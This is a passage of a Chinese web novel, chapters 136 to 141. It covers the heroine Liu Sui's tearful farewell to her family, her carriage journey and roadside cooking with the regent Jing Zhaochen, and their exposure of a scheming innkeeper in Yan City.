《都流放了,谁还稀罕当王妃》 第136章 慈母手中线 柳岁托腮,看着二婶坐在灯下绣花,丝线到了她手里就跟有了生命似的,绣出的东西栩栩如生。 “二婶你这手也太巧了。” 柳岁咂舌,又伸出自己的手。 白皙纤细,连骨节都不那么明显,看起来像是个巧的,但绣出的鸳鸯怎么都像游水的肥鸭! 为此柳安捧腹大笑,直到后来她也绣出了只更胖的鸭子,此事才画上一个句号! 五十步笑百步,谁也不比谁强! 张氏抬头,眉眼间全是为人母的温柔慈爱。 “你们都是要做大事的,家中这样的小事自然就顾不上,人哪有十全十美的,反正我就觉得你很好,谁也比不上。” 柳岁笑,捻一颗梅子塞到二婶嘴中。 “二婶,铺子有落落一起打理着,你不用有负担,宁安就这么大,人口也有限,只要不亏本就是。” 张氏点头,继续缝制手中的小衣。 “你这趟出去不知何时才能回来,平常穿惯了我做的小衣,怕外面买的不舒服,我得抓紧多做几件才好。” 柳岁不语,脑中浮现出一首诗。 慈母手中线,游子身上衣。 临行密密缝,意恐迟迟归。 如果她的亲生母亲还在世,会不会也如张氏这般宠她、爱她、怜她? 她对未知的事从来不多做猜测,多思无益,只会徒增烦恼。 “二婶,我不会有事,你别时时挂心,有机会我会让人传消息回来。” 张氏把绣花针往发间戳了戳,半垂着头,不叫柳岁看到自己已经红了的眼角。 “二婶知道,不管做什么事之前,都要先顾好自身的安危,你若有点什么事,二婶......这心都要碎了。” 张氏哽咽着,泪滴到刚绣好的红梅上面。 柳岁顺势躺在张氏的腿上,伸出手替她把眼角的泪拭去。 “好二婶,你说的我都记下了,保证安安全全的回来!到时还要给您带时兴的首饰,对了,尘儿和故儿的小金锁送到了吗?” 张氏含着泪,微笑着听她在那碎碎念,却是怎么也听不够。 她没什么远大的志向,就想着替柳岁多分担一些家务琐事,她晚归时替她留盏灯,饿时灶上永远有热汤。 从心底里,她早就把柳岁当成自己亲生的女儿,知道她要远行,张氏已经好几晚不曾阖过眼。 辗转反侧,生怕她磕着碰着。 柳平笑话她,说她杞人忧天,柳岁那么大的本事,又服了雪魄丹,岂是一般人能伤到的。 可,她的一颗心就是怎么也落不回去。 柳岁很安心,闻着张氏身上淡淡的皂角味,阖眸沉沉睡去。 张氏拿过一旁的木梳,一下下替她梳着及腰墨发,动作轻柔,生怕把她吵醒。 都说为母则刚,可她就是舍不得,一想到柳岁许久都不在眼前,泪就不受控制地落。 “人的缘分真奇妙,我担忧你更甚自己的孩儿,如果你的母亲真的不在了,我愿当你的娘,只要你别嫌弃我没用就好。” 柳岁轻轻翻了个身,唇边挂着抹浅浅的笑意。 她怎么会嫌弃这么好这么温柔的二婶,有她,才是她柳岁最大的幸运! 有人为你留盏灯,有人问你粥可温! 这世间最抚人心的大概就是亲情,不管前面等待她的是什么,这一刻她无所畏惧! “二婶,在我心中,你一直是我的娘亲。” 她喃喃,低在自言自语,又似梦呓。 张氏的泪终于如决堤的水。 柳平站在门外听了好一会屋中动静,默默叹了口气,转身去了老镇国公的正屋。 “岁丫头睡了?” 柳平点头,上前把半掩的窗格阖上。 “夜里风还是凉,您记得半窗。” 柳老夫人盘膝坐在软榻上,正一颗颗剥着瓜子仁。 “母亲,您剥这么多瓜子仁做什么?您爱上火,可不能多食。” 柳老夫人斜睨他一眼,“罗里吧嗦活像街头碎嘴子的妇人,这都是剥给岁丫头的!让她带着在路上当零嘴打发时间。” 老镇国公埋头,吭哧吭哧的不知在打磨什么。 “父亲,我来帮您吧。” 老镇国公摆手,不耐烦的推柳平一把。 “别在这念叨,害我分神,这可是要送给岁丫头的!你走开点,别挡着亮!” 柳平,“......??” 好嘛,这一个两个的张嘴闭嘴全是岁丫头,他被嫌弃得简直无处可去了。 “可岁岁在我屋里,瞧张氏那样子,今夜也没打算让我回去睡的。” 柳老夫人把剥好的瓜子仁仔细用油纸包成一小袋一小袋,方便柳岁食用。 “那么多屋子空着!你就非要和岁丫头抢!瞧那矫情劲,还以为自己是世家公子哥呢!再不行,去住马厩!” “就是,那稻草还是昨日怀生新换的,软和着,这天也不怕冻着,赶紧走,别妨碍我和你母亲做事。” 听听,现在都直接叫怀生了!他柳平就不配有个名字!不是那个谁,就是喂! “行行,我继续守城门去!这家容不下我了!” 柳老夫人笑着抓起桌上的瓜子壳丢在他身上。 “瞧瞧气性还不小,去守吧,这家有你没你还真不重要!” 老镇国公也跟着笑。 柳平挠挠头,笑得露出一口白牙。 昏黄的灯光下,一家三口开怀大笑,笑声飞出去很远很远。 一夜好眠。 晨光微曦,张氏已经亲自下厨做了一大桌柳岁爱吃的菜。 柳平咂舌,一大早的鸡鸭鱼样样没落下,点心更是换着花样的摆了小半桌。 他探出脑袋看了看还未大亮的天色。 “早饭做的这么丰盛,谁有胃口吃这么油腻啊?没粥吗?” 张氏把柳岁爱吃的全部摆到她面前,笑眯眯地替她夹一筷子鸡丝炒冬笋,懒得搭理无理取闹的柳平。 “昨日剩的粥还有,你自己去热一热!” 柳平一噎,气冲冲瞪一眼张氏。 结果张氏全部心思都在柳岁身上,连个眼神也不曾给他。 “岁岁快吃,这些全是你最爱吃的。” 柳岁忍住即将汹涌的泪,乖乖把张氏夹的菜全部吃掉。 “很好吃,二婶的厨艺真是愈加精进了,日后在宁安给您开个最大的酒楼!” 第137章 自称为夫! 柳老夫人没有多余的情绪,对于她来说,分别早就习以为常,只要人好好活着,心中惦念着彼此,纵使相隔千里也不怕! “你与摄政王的事可是已经深思熟虑过了?这条路难行。” 话头戛然而止。 反反复复说过的话题,她不能当讨人嫌的老太婆。 自己的路自己走,无需理会旁人的想法,毕竟谁也不能替谁过这一生。 柳岁笑,“祖母的忧虑我都晓得,但请您和祖父放心,我一定会先保护好自己。” 留得青山在,不怕没柴烧。 若是命都丢了,还谈什么未来。 柳岁眼神晶亮,仿佛什么也无法阻挡她前进的脚步。 原本说好了轻装简行,可看着堆得满满实实的包裹,柳岁抚额,只得又安排一辆马车专门装这些东西。 毕竟,这些全是他们对她的心意,如果不带着,他们就没办法安心。 之前本打算坐船去江南,省时还省力。 但景昭辰听说有水匪出没,为防节外生枝,再加上他们此行的目的不好宣之于众,遂听了柳岁的意见,改坐马车。 虽用时可能久一点,但正逢盛夏,一路景色怡人,倒也算浮生偷得半日闲。 景昭辰也有自己的小心思。 他与柳岁相识到如今,两人从未有过单独相处这么久的机会,偶尔一亲芳泽,也是点到即止。 可这一路,夜宿郊外在所难免,想到能夜夜拥着心爱的女子同枕而眠,景昭辰的一颗心跳得如同擂鼓。 老镇国公背着手,上下打量景昭辰一眼,语气严肃。 “岁丫头可是我们家的宝贝,你得替我们护好了!再来,你们二人尚未成亲,切莫做什么损了岁丫头名声的举动!” 景昭辰有些心虚的摸了摸鼻尖,低低应一声,乖巧得仿佛刚才有那念头的人不是他! 反正此一行山高路远,佳人在怀,亲一亲,摸一摸,岂非再正常不过的事? 成亲前,他是肯定不会走那最后一步,但,别的,他就无法保证了! 张氏替柳岁拍平衣裳上的褶皱,眼神是说不出的柔软,声音亦是。 “遇事千万别逞强,能使唤王爷的你就别亲自动手!” 柳岁点点头,拉着张氏的手舍不得松开。 “二婶记得好好吃饭,那汤药再喝一月就该停了.....” 张氏一下羞红了脸,嚅嚅应是。 柳平心疼她,不想她再受那生产之痛,柳岁就替她开了避子的方子,说是连服几月,就再不必担忧同房时那什么...... 柳平搓了搓手,“真的只需再服一月就可以了?” 张氏踩在他的脚背上,又使劲捻了捻了。 这人现在说话越发没个把门的,混话张口就来,脸皮厚的堪比城墙! 柳岁笑而不语,一脸戏谑的扯了扯张氏的手。 “二婶,自个的身子要爱顾,千万莫贪图一时之快!” 张氏羞红了脸,终于松开了紧握着柳岁的那只手。 “知道了知道了,年纪轻轻的怎的这么啰嗦!” 一番笑闹,冲淡了离别的愁,张氏眼里的泪也终于暂时停歇。 柳岁转了一圈,几小只依依不舍。 柳安扯着嗓子干嚎,“安儿没有长姐睡不着!我要与长姐一同去!” 她对着景昭辰的手狠狠咬一口。 “坏人!长姐就是为了陪你才扔下安儿的!呜呜呜,长姐,安儿乖乖的,你带着安儿一起吧!” 柳岁笑看着柳安,她胖嘟嘟的脸上一滴泪也没有。 柳恒唇角控制不住的扬了扬,温柔的拉过柳安。 “安儿乖,长姐此番做的事很危险,再说,安儿还要读书,学业一日不可荒废。” 柳安撇嘴,抽了抽鼻子。 “对,安儿长大要当保家卫国的女将军,到时候就可以保护长姐。” 柳岁笑着将她一把揽在怀里,眼眶猛地就红了。 她这么努力,不就是为了让他们心无忧虑! 可同样地,他们也存了护她的心! 足够了! 再有不舍,这一趟也势在必行。 江风扬鞭,马车渐行渐远,直至再也看不见。 老镇国公背着手捶了捶酸疼的腰,大步流星朝院里走。 “落叶归根,总归是要回来的,替她守好后方才重要!” 柳老夫人默不作声,也不知方才是谁没出息地先红了眼。 走出很远的一段路了,柳岁一双眼依旧盯着窗外。 心中的不舍是有的,可更多的竟然是对未知的恐惧,毕竟这朝代于她实在太陌生了。 离开熟悉的环境和人,她突然觉得自己像一株无根的浮萍,随波逐流,不知何处安家。 景昭辰也不打扰她,默默将茶叶碾碎,放在水中不断地搅拌,直到水变得碧绿,再以沸水烹之。 他的一系列动作行云流水,指尖似乎在跳舞一般,好看的让人挪不开眼。 “这样不会很苦?” 景昭辰笑,将第一杯茶递到她手边。 “尝尝!仔细烫。” 柳岁端着玉盏浅抿一口,入口苦涩,不多时就被浓郁的香气代替,从舌尖一直暖到心里。 景昭辰见她小心翼翼的样子,笑容禁不住又软了几分。 “这还是母妃教的,许久不曾试过,手都有些生了,你若喜欢,日后我常煮给你喝。” 柳岁端着茶盏,脑中灵光一闪,她高兴的抓住景昭辰的手。 “阿昭,我有法子能再收两家铺子!” 马车空间有限,不然她肯定得转几个圈才行。 景昭辰今日烹的这茶,有点现世抹茶的味道,若是加以改进,譬如添点牛乳进去,妥妥的抹茶奶绿! 纯天然,无添加! 而且瞧着也不算复杂,古代本就喜饮茶,寻几个会茶艺的人手应该不难。 景昭辰也开心,垂眸看着抓着自己手的那只柔若无骨的小手。 “岁岁的法子多,到时你只需吩咐,我替你张罗就好。” 柳岁歪头,伸出手指挑起他的下巴,语气中满是揶揄。 “呦,我的阿昭怎么不自称本王了?听着都有些不习惯了!” 景昭辰迅速贴上她柔软的唇,反复的攻城略地,直到柳岁软在他怀里。 “出门在外,自然要多注意,有时一点小细节就能打乱所有计划,其实我更想自称为夫。” 第138章 油嘴滑舌 柳岁怔了怔,没好气白景昭辰一眼。 “油嘴滑舌!你如今这脸皮愈发厚了。” 景昭辰曲指在她脑门上轻轻弹了下,嗓间是藏不住的笑意。 “调皮,有这么说自己夫君的吗?” 他顿了顿,接着道,“未来夫君也是一样。” 两人你一言我一语,说笑打闹间,柳岁心中最后那点不安也散去。 夏日晴空明媚,天湛蓝而深远,阳光洒在不远处的河面上,泛起万点金光。 映入眼帘深深浅浅的绿,就像是有人在天地间挥毫泼墨,描绘出一幅葱茏画卷。 柳岁扶着景昭辰的手跃下马车,揉了揉酸疼的腰。 马车坐久了也是很辛苦的事,颠簸得人直想吐。 阳光炙热,可他们依水而立,微风扫过,绿树阴垂。 “岁岁,我们在这休息用点东西可好?” 柳岁盯着水中跃起的鱼,“涂山下去捉几条上来!” 盘在车顶假装别人看不到的涂山心下一惊,小心昂起头。 “偷偷摸摸的跟来,以为我不知道?赶紧的,下水捉鱼,要活的!” 涂山认命地爬下来,一路被阳光晒得蔫头耷脑,早发现了,为何不让它进马车? 盘在车辕上也行啊,好歹有个遮阳的地。 它看一眼江风,晃晃脑袋,不行,它可不能和这浑身散发阴气的人呆在一起太久。 涂山冲到水中,先是开心的游几圈,最后碍于柳岁的淫威,没敢使大力咬鱼。 这鱼反正也逃不到入腹的命运,死的活着有啥区别? 敢怒不敢言,蛇生属实不易。 可明明被柳岁压制得死死的,它就是不受控制的跟随,冥冥之中仿佛有什么在召唤一般。 景昭辰不知从哪拿来一把油纸伞,全部撑在柳岁上方。 新鲜的鱼猛敲一下,开肠破肚,一气呵成,最后刷油放在火上烤。 又拿出二婶和秦氏准备的菜干往煮沸的水中一丢,再加点盐巴佐料,美味的蔬菜汤就出锅了。 另一头的火上焖着白米饭,丝丝的香味顺着锅缝钻出来。 江树咽了咽口水,蹲在柳岁身边。 “姑娘,这鱼啥时候能吃?” 他的肚子十分应景的叫了两声。 柳岁笑,丢给他一个小纸包。 “去把这个洒上,等香味出来就可以吃了!” 江树憨憨挠挠头,也不多问,按她吩咐一一照做。 孜然浓郁的香气很快飘散在空气中,伴着辣椒面呛人的味道。 “阿昭,最早种出的辣椒全部晒干磨成粉了,种子是你提供的,该你第一个尝尝。” 江树张大嘴正准备咬烤鱼,闻言,赶紧把鱼递到景昭辰面前。 “爷,可香了!您闻闻!” 涂山围着火堆不停地转圈圈,柳岁丢给它一只烤好的鱼,它也不嫌烫,张嘴就咬。 辣得眼泪鼻涕齐流! 景昭辰也亦是! 他因身体原因,饮食一直十分清淡,这般浓郁厚重的味道还是第一回感受。 吃一口就停不下来。 “江树,车上有牛乳吗?” 江树塞了满嘴的鱼,回答的含糊不清。 “有的,不多,天热放不住。” 柳岁也不让他们起身,自己小跑到马车边,很快寻到冰盆中的牛乳。 天实在太热了,冰盆中的冰已经化了一大半,估计要不了一个时辰就会全部融化。 把牛乳倒在小锅里,柳岁失笑,二婶和秦氏准备的也太全乎了,锅碗瓢勺一个不落,不知道的还以为她这是要安家过日子的。 怕牛乳糊底,抽出几根柴火丢到一边,小火慢慢煮着,直至沸腾才加入景昭辰方才碾好的茶汤中。 景昭辰不喜甜,故而喝的是原味。 “味道真是不错,这就是你说的那什么抹茶奶绿?” 柳岁喝一口,满足的半眯起眼。 “若是加点碎冰进去,味道更佳。” “姑娘,咱车上有冰啊!” 柳岁摇头,“那些都快化完了。” 车上还带着几条新鲜的猪排,想着夜里给景昭辰炖汤的,如今都不知那些冰能不能坚持到那个时候。 “阿昭,你行军打仗见过硝石吗?” 景昭辰正喝茶,还没开口就被江树抢了先。 “姑娘,咱们车上就有!你要那玩意干嘛用?” 柳岁闻言喜上眉梢。 “有多少?全给我拿来,给你们变个戏法,对了,江树,记得再拿一大一小两个盆来!” 江树吃饱喝足,正精力旺盛,一边应着,一边往马车前跑。 不光有好吃的,还有好喝的,现在还要变戏法,这次是什么神仙任务啊!可惜,江临没口福了! 据柳岁所知,这时候是冷兵器时代,并没有火药一类的东西,她也没打算让这杀伤力十足的东西提前问世。 人一旦尝到甜头,就会开始依赖,这代表着就会有无休止的争斗,天下将再无太平。 制冰的法子其实也没这么简单,这些不过凑合一用,若真想变成一门生意,就要耗费大量财力和人手建冰窖,还得有强大的靠山,否则即使大量制出冰,也会被人觊觎。 毕竟这时候的制冰之术不发达,但凡售卖冰的,日进斗金也不夸张!而且这门生意几乎全部控制在世家大族手中,不是一般人能轻易肖想染指的。 见江树还打算把最后一碗奶茶喝光,柳岁赶忙出声制止。 “别喝太多!咱们才吃了鱼......” 语未落,江树已经开始抓挠起脖颈。 “姑娘你说的啥意思啊?唉,我这脖子咋这么痒?” 柳岁偏头掩唇,此事怪她,竟将这茬忘了,吃鱼之后尽量不饮牛乳一类的,只是没想到江树的体质这么敏感。 不过盏茶的功夫,起了一脸的小红疙瘩,还有肿成两道缝的眼睛,莫名有些喜感。 景昭辰拿折扇掩住半张脸,露出的那双好看的凤眼中是藏也藏不住的笑意。 “爷,您笑什么啊?属下中毒了?” 江树想去水边照照,却被柳岁出声制止。 “咳咳,无事,估计日头太毒晒的,等夜里就好了,赶紧出发吧,已经耽误太久了。” 江树挠挠头,忍住想继续抓脖子的冲动。 “姑娘懂医,您既然这么说了,那属下肯定没事。” 第139章 好像说了 江树几人坐后面的马车,其他同伴笑得几乎喘不过来气。 谁家被太阳晒一下能晒成个猪头样? 柳姑娘明显就是骗人的! 偏江树蠢而不自知,顶着个猪头挥鞭策马,时不时抓两下。 “江树.....哈哈哈,我来赶车吧.....哈哈,你进去....” “哈哈哈哈哈——” “有没有种猪在赶车的感觉啊?” “有!哈哈哈!” 江树气愤,冲到车厢中与他们扭打在一处。 “你们说谁是猪呢?姑娘说我这就是被晒伤了!” 柳岁听着他们打闹,眼睛笑成个月牙儿,拿着药小心替景昭辰涂抹在耳后。 这时代没污染,吃得虽简单,却也是纯天然无添加的,稍有不对,身体立马开始排斥。 景昭辰倒没江树那么夸张,只是耳后起了一片小红疹。 “涂了药不要抓,一两个时辰就下去了,这只是过敏反应。” 涂完药,柳岁又替他吹了吹。 景昭辰半阖眸,嗅着她身上的女儿香,唇往前凑了凑。 “吻我一下,就不与你计较。” 蜻蜓点水的吻,景昭辰却心满意足。 “反正我都是你的人了,就随你折腾。” 他昏昏欲睡,有柳岁在的地方,安心! 柳岁轻轻拍着他的后背,拿过一旁的罗扇替他扇风纳凉。 离宁安越远,山涧就越翠绿,远处的田地里麦浪翻滚。 她也想把宁安打造成这样的一方世外桃源,男耕女织,一派欣欣向荣。 看久了窗外的绿树成荫,莫名觉得困倦。 她窝在景昭辰怀中渐渐睡去。 风吹起帘子的一角,男子俊美,女子娇柔,美得令人移不开眼。 这个夏天的蝉鸣声格外清亮,却吵不醒两个陷在美梦中的人。 慢慢地,天边挂起绚丽的晚霞,红得似火,美不胜收。 等他们两人睁眼时,江树他们已经把行军用的帐篷搭建好了,篝火燃得正烈。 江树小跑到柳岁身边,一张脸似苦瓜般皱着。 “姑娘,你不是说属下的脸晚上就会好了?可属下咋觉得更痒了?” 柳岁憋笑,掏出药膏塞到他手里。 “涂厚点,一会就好了,你这是被晒的狠了!” 江树点头,“成,属下现在就去涂,姑娘的药膏肯定是好东西!” 见江树被轻易忽悠走,景昭辰叹了口气。 “他们武功虽高强,但心性单纯,也不知是好是坏!” 柳岁见涂山守在锅边,无语的翻了个白眼。 就没见过比它更爱吃的蛇! 哪一天它若是走丢了,也肯定是抵挡不住美食的诱惑! “单纯点不好吗?至少没那么多的烦恼,再说江树是要入赘我柳家的,要那么算计干嘛?” 景昭辰一想也是,柳家人本来简单,对自己人更是好得没话说,江树上辈子也不知积了什么德。 “我身边的这些暗卫都是一顶十的高手,你倒是早早都替他们盘算好了。” 柳岁一把牵过他的手,力道大的景昭辰被扯的一个趔趄。 景昭辰,“......咳咳,岁岁,你这力度还是没完全掌握。” 柳岁不以为意的摆摆手,“管它呢,树大自直!没准哪天自己就领悟了!走走,我去给你炖排骨汤!” 景昭辰自诩不是个重口腹之欲的人,可自打与柳岁重逢,凡是经她手煮出的食物,都令人无法拒绝。 有句话柳岁是怎么说的? 人间烟火气,最抚凡人心! 只要与柳岁在一起,他就不是那个高不可攀的摄政王,就是个普通的不能再普通的凡人! 如果可以,他希望日子就这样平淡的过下去,直至他们柳岁白发苍苍。 他出神驻足,柳岁低头就看到他那双骨节分明,修长白皙的手,拇指上戴着墨玉扳指。 “你不饿?” 景昭辰看向她,“岁岁你愿嫁给我吗?” 柳岁神情微滞,不明白他突然间是怎么了,观他的神色还有点忧伤。 “自然是愿意的!阿昭你怎么了?” 景昭辰反握住她的手,语气和缓。 “你知道圣女是不允许嫁人的吗?我不知为何圣女血脉择的是你,而非你娘亲。” 柳岁也有些疑惑,“这是不是说明我娘亲已经不在人世了?” 景昭辰摇头,“听长白前辈的意思,你这血脉与生俱来,而你母亲身上并没有。” 柳岁偏头看他,手轻轻放在他心脏的位置。 “这里装的全是我,我心里也全是你!我早早与你讲过,我命由我不由天!任谁来,也不能左右我的选择!” 景昭辰墨眸中似盛满星辰,他把人一把搂在怀里,唇亲亲吻着她的发顶。 “我一直都在失去,其实我怕极了这种感觉,岁岁,在这世上,我只剩下你一人......” 柳岁用力搂住他的腰,景昭辰差点一口气没上来。 “岁岁,你.....咳咳,轻些。” 柳岁笑着退开两步,歪头,眼睛亮晶晶。 “瞧我现在可是大力水手!谁能奈我何,所以,阿昭,我永远不会离开你!” 她小跑着往前,快乐得似无忧无虑的孩子,实则内心早就一团乱麻。 长白的圣女应该是她的外祖母,圣女亡,怀义必将大乱,如果岐奇这时与怀义联手,大昭危矣,百姓将再无安宁之日。 到那时,她真的能做到袖手旁观? 可要让她放弃景昭辰,是绝不可能的。 谁说世上没有两全法,她偏要做那两全的第一人! 神挡杀神!佛挡杀佛! 她重活一遭,可不是为了任人摆布的。 想清楚这些,她便不再纠结,走一步看一步,若真到了避无可避的时候,大不了翻了怀义的天,规则是由强者定的! 她吐出几口浊气,感受着丹田处的滚烫,那股气流似乎比之前安分些,不会在体内四处乱蹿了,但就是不知如何控制着让它为自己所用。 祖母送的那些秘籍翻了好几遍,也不得其法。 长白只说一切皆由天定,缘法一到,自然融会贯通。 好像说了,但又好像没说,等同于一句废话! 可能是宿在林中的缘故,晚风习习吹来,顿觉暑意全消,蛙叫声、蝉鸣声和在一起,是这个夏天最动听的交响乐! 第140章 这小子坏得很! 柳岁窝在景昭辰怀里,涂山则盘在门口软垫上,睡的正酣。 夜里落了雨,落在溪流里,叮叮咚咚,就似大珠小珠落玉盘。 远远的已隐约可见一座城池,那是他们第一个落脚点,晏城。 之所以没择今夜入城,而是夜宿郊外,也是为了安全计。 江树悄悄带着几人已经潜入城中查探,看是否有可疑的人。 “岁岁你睡了吗?” 柳岁轻轻翻个身,听着景昭辰有力的心跳。 “还没,你不困?” “我们在肃州休整,但也至多一日,你可有想要买的?” 柳岁困的眼都懒得睁开。 “对这我哪都不熟悉,一切听你安排就好。” 景昭辰低笑一声,亲了亲她的发顶。 “好,你快睡吧,瞧困成什么样了。” 涂山昂起头看了一眼他俩,景昭辰愣是从它眼中看到了鄙夷! 它慢吞吞爬过来,横在他与柳岁之间不动弹了。 景昭辰,“......” 好不容易远离了老镇国公他们,如今又多了条监视他的蛇! 柳岁笑一声,搂住他的腰。 “睡觉。” 涂山几乎被压成肉饼,本着装死原则,死活不肯挪动半分。 这小子坏得很! 出门前老镇国公可交代过了,一定要把他给盯严了! 中间橫着条冰凉的蛇,这感觉属实不美好。 景昭辰只得歇了心思,乖乖闭上眼。 一夜无话,景昭辰也不敢睡得太沉,半梦半醒,天已大亮,鸟鸣声声入耳。 涂山也在埋头呼呼大睡,没一点当蛇的自觉。 景昭辰见柳岁睡得香,悄悄起身,从不远的溪边打来水,又仔细替她烧开。 柳岁睁眼时,身边只余懒得没谱的涂山。 “阿昭。” 她揉了揉惺忪的眼,四下环顾。 景昭辰笑着将帐篷的帘掀开,阳光正好洒在他的脸上。 “醒了?饿了吗?起来洗漱,吃点东西我们就出发了。” 柳岁开心,睁眼就能见到心上人的感觉真好。 简单用了点早饭,收拾好行囊,马车继续前行。 出发前总觉得事情紧急,可真到了路上,看着沿途风景,又觉得不必那么着急。 也不知以后还没有这般悠哉似神仙的日子了! 好好享受当下也不错。 江风这一路都很安静,安静得让人几乎忘了他的存在。 可他自己心知肚明,涂山可一直盯着他的,没一刻敢放松。 这条蛇也不知是怎么回事,只要睁眼就盘踞他左右,打是不敢的,怕它突然扑过来。 原本手臂粗的身子,可能是跟着柳岁吃得太好,已经壮如成年人的大腿。 柳岁和景昭辰也早就注意到了,只是怕打草惊蛇,故而一直佯装不知。 江风以为自己掩饰得很好,其实身上的疑点早就暴露在众人面前,大家只是都未点破,想看看他下一步的动作。 宴城的城墙很高,上面插着旗帜,城门崭新,刷着珠红的漆。 士兵在对进城的马车一一盘查,过了好久才轮到他们。 景昭辰常出京,一类相关文牒准备的很齐全,士兵只看了两眼就挥手放行。 他掀开帘看了一眼就放下。 “晏城从前人不少,但也没今日多,不知城中发生何事了?” 江树不知何时蹿到车中。 “爷,城中最大的客栈住满了,属下包了城南的一家客栈,应当是够住了的。” 景昭辰轻颔首,“城中为何一下这么多人?” 江树接过柳岁递来的点心一下塞到嘴里。 “城中员外郎对外招上门女婿,听说他的女儿长的闭月羞花,才情出众,好多人贸名前来,都是想一睹芳容!” 景昭辰对这个没兴趣,只淡淡嗯了声。 柳岁却兴致盎然,“比武招亲吗?我还没见识过,一会沐浴后赶紧去瞧个热闹!江树,你先替我占个好位置啊!” 景昭辰无奈,脸上笑意渐浓。 “你呀,同为女子有什么好看的?她再美能美得过你?” 柳岁挽住他的胳膊撒娇。 “阿昭,我从未出过远门,一会就陪我去看看嘛!好不好?” 江树咂舌,见过柳大姑娘耍橫,少见她撒娇,心都快融化了,爷哪能拒绝得了? 果听景昭辰笑了笑,点头。 “好,岁岁想看,我就陪着。” 江树果断翻身下马车,“姑娘我去占个靠前的位置!” 看来古代也不乏吃瓜群众,只是从前没人点燃他们的八卦之心罢了。 柳岁兴奋的两颊红扑扑,“阿昭,咱俩去买身新衣吧!看人家招亲,我是不是该扮成男子?” 景昭辰眼角跳了跳。 “你还想参加比试不成?” 柳岁笑得眉眼弯弯,“我就不捣乱了,阿昭倒可试试,能文能武,估计无人是你敌手!” 景昭辰不悦的挣脱开她的手,掀起帘看向窗外。 柳岁看一眼涂山,他咋了? 涂山无语的朝天翻了个白眼。 瞧这没心没肺的姑娘! 招亲可不是玩笑,真被选中,那是必须要娶人家姑娘的!不然就是故意破坏女子名声,告去官府也是可以的! 一路无话,景昭辰的脸沉的似暴雨前的天空。 之前就发现柳岁缺根筋,对感情一事好像并不太敏感,更对他从未有过占有欲。 都说女子心眼小,喜吃醋,他倒乐见柳岁这般,可惜这没心肝的,竟然让他去参加比武招亲! 客栈不算偏,但也离主街有点距离,算是闹中取静。 客栈打扫的很干净,一楼大堂整齐摆放着红木桌椅,因为整间被他们包下了,此时正饭点,这里却极安静。 掌柜的笑眯眯从柜台后迎出来。 “几位客官,这客栈被人包了,要不您再上别处看看?” 景昭辰不语,掏出张纸扬了扬。 “哎哟,客官可算到了,房间都打扫干净了,也换了新的被褥,这会是先沐浴还是先用饭?” 柳岁想这人笑得可真灿烂,如此,这家客栈想生意不好都难,日后若她想在宁安开酒楼,也得需要这样的掌柜才行! “多谢掌柜的,我们想先沐浴,不知能否在房中用饭?” 掌柜连连点头,见到柳岁又给他塞银子,忙摆手。 “这可万万使不得,银钱已经给不少了,您说说喜欢什么口味的,一会就送上去!” 第141章 无所不用其极 景昭辰负手,转身默默迈上楼梯。 柳岁,“......” “掌柜的,麻烦您先准备热水,半个时辰后再送饭菜吧,就捡你们店里拿手的上就成。” 掌柜嗫嚅,怯生生看一眼涂山,不自觉后退几步。 “放心,它很乖,不会咬人。” 掌柜抹把额头上吓出来的冷汗。 “是是,还请姑娘将它看严些。” 涂山懒洋洋昂头看掌柜一眼,继续伏在柳岁脚边。 它如今太沉了,柳岁不许它继续盘在腰间了! 而且,柳岁还说:谁见过这么肥的腰封! 伤害性不大,侮辱性极强! “涂山咱们回屋。” 涂山不疾不徐,末了突然回头吐了吐舌信子,把才站稳的掌柜吓得一个踉跄。 “再调皮就剥了你的皮!” 柳岁背手,及腰的墨发随意编了个麻花辫,再无多余装饰。 涂山在心中默默吐槽:整天威胁蛇,也不知换个说法。 “你这么肥,做个蛇皮袋应该绰绰有余,我想想,还能做点什么,也不算浪费我那么多的肉干。” 涂山气的险些从楼梯上摔下去。 二楼中庭,竟然建了个漂亮的小花园,上方用琉璃采光,那一片的花海属实惊艳。 可惜,涂山不懂,一头扎进去,只一会的功夫那片花海就成了海啸之后的沙地。 柳岁也不喝斥,安静的看它在那兴奋地翻滚。 “去,把他给我带上来!” 涂山满意地打个嗝,速度飞快地从她眼前掠过。 掌柜的才坐定,就见一道黑影朝他袭来。 他本能地伸出手,一片冰凉,带着丝刺痛,手背上就已经多出几个牙印子。 “嘶——你这该死的蛇!那姑娘人呢?” 柳岁站在楼梯口,自上而下睥睨着他,眼神是说不出的寒凉。 今天如果换了别的蛇,掌柜刚才那一下,足以要了蛇命! 又是个扮猪吃虎的玩意! “咬一下就不装了?我倒想知道好好的一个客栈为何种西域的腐尸草?掌柜不如上来解释一下!” 掌柜一滞,神情明显有些闪躲。 “姑娘说的在下听不懂,那花就是为了添些乐趣,若是冒了什么旁的草啊花的,我也是不知的。” “涂山咬他!” 涂山叹了口气,张嘴,掌柜一跳三尺高! “啊啊啊,完了,我中毒了!” 屁股处的裤子已经破了两个洞,正汩汩往外冒着血。 “老实交代留你全尸,不说,让你死无全尸!” 一路颠簸,好容易能安生睡一晚,偏这些人跟狗皮膏药似的,怎么甩也甩不掉。 景昭辰自是早早听到了动静,只是这会柳岁吸引他们的注意力,他才好挨个房间检查。 细细搜寻下来,倒真有了些发现。 只等柳岁处理完来瞧瞧。 掌柜狞笑,不怀好意打量她。 “一个臭丫头也敢坏老子们的好事!瞧着方才那位郎君对你也不上心,不如从了我,好叫你知道知道欲生欲死的感觉,哈哈!” 柳岁盯着他的眼睛,又确认了一遍,他就是个无足轻重的棋子,再问,怕是也问不出有用的东西。 懒得再与他废话,掌柜依旧叫嚣,眼露淫光。 劲风朝面门袭来,牛毛般的银针插在他的死穴。 “坏人总是死于话多!处理一下。” 她也不再理会,转身推开屋门。 景昭辰坐在桌边,面前摆着好些瓶瓶罐罐。 “岁岁,你瞧这些都是什么?” 柳岁只盯着他的脸瞧。 “你不生气了?” 景昭辰别扭的侧过头,轻咳一声。 “与这种没心没肺的丫头生什么气,最后气的不还是自己。” 微风过,香气飘散。 柳岁蹙眉,“帐中香?” “嗯,几乎每间房中都有,藏在房梁上。” “大概是猜不准你到底要住哪间,索性每间都摆,才好万无一失。” 景昭辰语气淡淡。 “雕虫小技也敢拿出来,方才可是发现腐尸草了?” 柳岁挨着他坐下来,端起茶盏喝一口。 “嗯,瞧涂山那样子,数量还不少。” 门被轻轻敲响,但人没进来。 “爷、柳姑娘,已经处理好了!” 景昭辰没出声,看一眼柳岁。 “一家店总不能没掌柜,选个自己人。” 门外的人安静了一瞬。 “那些伙计怎么处理?是要全都?” 柳岁托腮,“带上来我问问。” 很快的,十来个伙计连同后厨煮饭的一并站在柳岁面前。 